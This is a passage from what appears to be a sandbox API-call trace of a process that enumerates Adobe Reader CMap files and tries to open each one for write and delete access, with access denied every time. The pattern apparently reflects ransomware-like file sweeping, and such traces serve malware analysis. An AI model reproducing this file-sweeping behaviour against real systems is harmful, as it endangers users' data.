ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="ADD8F8~1")) returned 1 [0166.002] wcscmp (_String1="Adobe-GB1-0", _String2=".") returned 1 [0166.002] wcscmp (_String1="Adobe-GB1-0", _String2="..") returned 1 [0166.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.002] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.002] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.002] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" [0166.002] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0")) returned 0x20 [0166.003] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0", dwFileAttributes=0x20) returned 0 [0166.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.004] GetLastError () returned 0x5 [0166.004] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0", dwFileAttributes=0x20) returned 0 [0166.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.004] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="AD9B16~1")) returned 1 [0166.004] wcscmp (_String1="Adobe-GB1-1", _String2=".") returned 1 [0166.004] wcscmp (_String1="Adobe-GB1-1", _String2="..") returned 1 [0166.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.005] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.005] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.005] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" [0166.005] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1")) returned 0x20 [0166.006] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1", dwFileAttributes=0x20) returned 0 [0166.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.006] GetLastError () returned 0x5 [0166.006] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1", dwFileAttributes=0x20) returned 0 [0166.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.007] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="AD411B~1")) returned 1 [0166.007] wcscmp (_String1="Adobe-GB1-2", _String2=".") returned 1 [0166.007] wcscmp (_String1="Adobe-GB1-2", _String2="..") returned 1 [0166.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.007] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.007] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.007] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" [0166.008] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2")) returned 0x20 [0166.008] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", dwFileAttributes=0x20) returned 0 [0166.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.008] GetLastError () returned 0x5 [0166.008] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", dwFileAttributes=0x20) returned 0 [0166.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.009] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="ADF600~1")) returned 1 [0166.009] wcscmp (_String1="Adobe-GB1-3", _String2=".") returned 1 [0166.009] wcscmp (_String1="Adobe-GB1-3", _String2="..") returned 1 [0166.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.009] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.009] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.009] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" [0166.010] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3")) returned 0x20 [0166.010] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", dwFileAttributes=0x20) returned 0 [0166.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.010] GetLastError () returned 0x5 [0166.010] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", dwFileAttributes=0x20) returned 0 [0166.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.011] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="AD1D91~1")) returned 1 [0166.011] wcscmp (_String1="Adobe-GB1-4", _String2=".") returned 1 [0166.011] wcscmp (_String1="Adobe-GB1-4", _String2="..") returned 1 [0166.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.011] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.011] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.011] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" [0166.012] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4")) returned 0x20 [0166.012] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", dwFileAttributes=0x20) returned 0 [0166.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.012] GetLastError () returned 0x5 [0166.012] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", dwFileAttributes=0x20) returned 0 [0166.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.012] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="ADC296~1")) returned 1 [0166.013] wcscmp (_String1="Adobe-GB1-5", _String2=".") returned 1 [0166.013] wcscmp (_String1="Adobe-GB1-5", _String2="..") returned 1 [0166.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0166.013] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.013] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.013] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-GB1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" [0166.013] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5")) returned 0x20 [0166.013] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", dwFileAttributes=0x20) returned 0 [0166.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.014] GetLastError () returned 0x5 [0166.014] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", dwFileAttributes=0x20) returned 0 [0166.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0166.014] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="ADFBCB~1")) returned 1 [0166.014] wcscmp (_String1="Adobe-GB1-GBK-EUC", _String2=".") returned 1 [0166.014] wcscmp (_String1="Adobe-GB1-GBK-EUC", _String2="..") returned 1 [0166.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c30ef0 [0166.015] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.015] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.015] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-GBK-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" [0166.015] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc")) returned 0x20 [0166.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", dwFileAttributes=0x20) returned 0 [0166.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.019] GetLastError () returned 0x5 [0166.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", dwFileAttributes=0x20) returned 0 [0166.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.020] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="AD2E3A~1")) returned 1 [0166.020] wcscmp (_String1="Adobe-GB1-GBpc-EUC", _String2=".") returned 1 [0166.020] wcscmp (_String1="Adobe-GB1-GBpc-EUC", _String2="..") returned 1 [0166.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c30ef0 [0166.020] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.020] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.020] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-GBpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" [0166.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc")) returned 0x20 [0166.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0166.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.021] GetLastError () returned 0x5 [0166.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0166.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.022] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="AD43DF~1")) returned 1 [0166.022] wcscmp (_String1="Adobe-GB1-H-CID", _String2=".") returned 1 [0166.022] wcscmp (_String1="Adobe-GB1-H-CID", _String2="..") returned 1 [0166.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30ef0 [0166.022] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.022] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.022] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" [0166.022] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid")) returned 0x20 [0166.023] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", dwFileAttributes=0x20) returned 0 [0166.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.024] GetLastError () returned 0x5 [0166.024] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", dwFileAttributes=0x20) returned 0 [0166.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.024] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="AD3180~1")) returned 1 [0166.025] wcscmp (_String1="Adobe-GB1-H-Host", _String2=".") returned 1 [0166.025] wcscmp (_String1="Adobe-GB1-H-Host", _String2="..") returned 1 [0166.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30ef0 [0166.025] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.025] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.025] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" [0166.026] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host")) returned 0x20 [0166.026] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host", dwFileAttributes=0x20) returned 0 [0166.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.026] GetLastError () returned 0x5 [0166.026] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host", dwFileAttributes=0x20) returned 0 [0166.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 